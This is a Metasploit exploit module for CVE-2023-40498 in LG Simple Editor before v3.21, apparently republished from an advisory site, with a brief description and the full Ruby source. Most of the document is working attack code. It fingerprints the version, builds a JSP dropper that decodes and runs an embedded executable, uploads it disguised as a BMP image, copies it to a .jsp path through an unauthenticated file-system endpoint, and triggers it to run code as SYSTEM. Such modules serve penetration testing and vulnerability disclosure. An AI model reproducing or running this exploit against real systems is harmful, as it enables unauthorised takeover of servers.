Authored by rgod, Ege Balci | Site metasploit.com

This Metasploit module exploits broken access control and directory traversal vulnerabilities in LG Simple Editor software for gaining code execution. The vulnerabilities exist in versions of LG Simple Editor prior to v3.21. By exploiting this flaw, an attacker can upload and execute a malicious JSP payload with the SYSTEM user permissions.

advisories | CVE-2023-40498

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper # includes register_files_for_cleanup
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'LG Simple Editor Remote Code Execution',
'Description' => %q{
This Metasploit module exploits broken access control and directory traversal
vulnerabilities in LG Simple Editor software for gaining code execution.
The vulnerabilities exist in versions of LG Simple Editor prior to v3.21.
By exploiting this flaw, an attacker can upload and execute a malicious JSP
payload with the SYSTEM user permissions.
},
'License' => MSF_LICENSE,
'Author' => [
'rgod', # Vulnerability discovery
'Ege Balc─▒ <[email protected]>' # msf module
],
'References' => [
['ZDI', '23-1204'],
['CVE', '2023-40498']
],
'DefaultOptions' => {
'WfsDelay' => 5
},
'Platform' => %w[win],
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['LG Simple Editor <= v3.21', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-08-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/'])
]
)
end

def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do')
}
)

return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?

version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', ''))
return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'
return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0')

Exploit::CheckCode::Safe
end

def generate_jsp_payload
exe = generate_payload_exe
base64_exe = Rex::Text.encode_base64(exe)
payload_name = rand_text_alpha(rand(3..8))

var_raw = 'a' + rand_text_alpha(rand(3..10))
var_ostream = 'b' + rand_text_alpha(rand(3..10))
var_buf = 'c' + rand_text_alpha(rand(3..10))
var_decoder = 'd' + rand_text_alpha(rand(3..10))
var_tmp = 'e' + rand_text_alpha(rand(3..10))
var_path = 'f' + rand_text_alpha(rand(3..10))
var_proc2 = 'e' + rand_text_alpha(rand(3..10))

jsp = %|
<%@page import="java.io.*" %>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
String #{var_path} = #{var_tmp}.getAbsolutePath();

BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
} catch (Exception e) {
}
%>
|

jsp.gsub!(/[ntr]/, '')

jsp
end

def copy_file(src, dst)
data = {
command: 'cp',
option: '-f',
srcPath: src,
destPath: dst
}
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'fileSystem',
'makeDetailContent.do'),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json'
},
'ctype' => 'application/json',
'data' => data.to_json
}
)
if res && res.code == 200 && res.body.to_s.include?('errorMessage":"success",')
print_good "#{src} -> #{dst} copy successfull."
else
fail_with(Failure::UnexpectedReply, "#{peer} - Could not copy the payload.")
end
end

def exploit
rand_name = Rex::Text.rand_text_alpha(5)
form = Rex::MIME::Message.new
form.add_part(
generate_jsp_payload,
'image/bmp',
'binary',
"form-data; name="uploadFile"; filename="#{rand_name}.bmp""
)
form.add_part('/', nil, nil, 'form-data; name="uploadPath"')
form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_x"')
form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_y"')
form.add_part('1920', nil, nil, 'form-data; name="uploadFile_width"')
form.add_part('1080', nil, nil, 'form-data; name="uploadFile_height"')

print_status 'Uploading JSP payload...'
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadImage.do'),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
}
)
if res && res.code == 200
print_good 'Payload uploaded successfully'
else
fail_with(Failure::UnexpectedReply, "#{peer} - Payload upload failed")
end

# Now we copy our payload as JSP
copy_file("/#{rand_name}_original.bmp", "/#{rand_name}.jsp")
register_files_for_cleanup("./webapps/simpleeditor/#{rand_name}.jsp")

print_status 'Triggering payload...'
send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'simpleeditor', "#{rand_name}.jsp")
}
)
end
end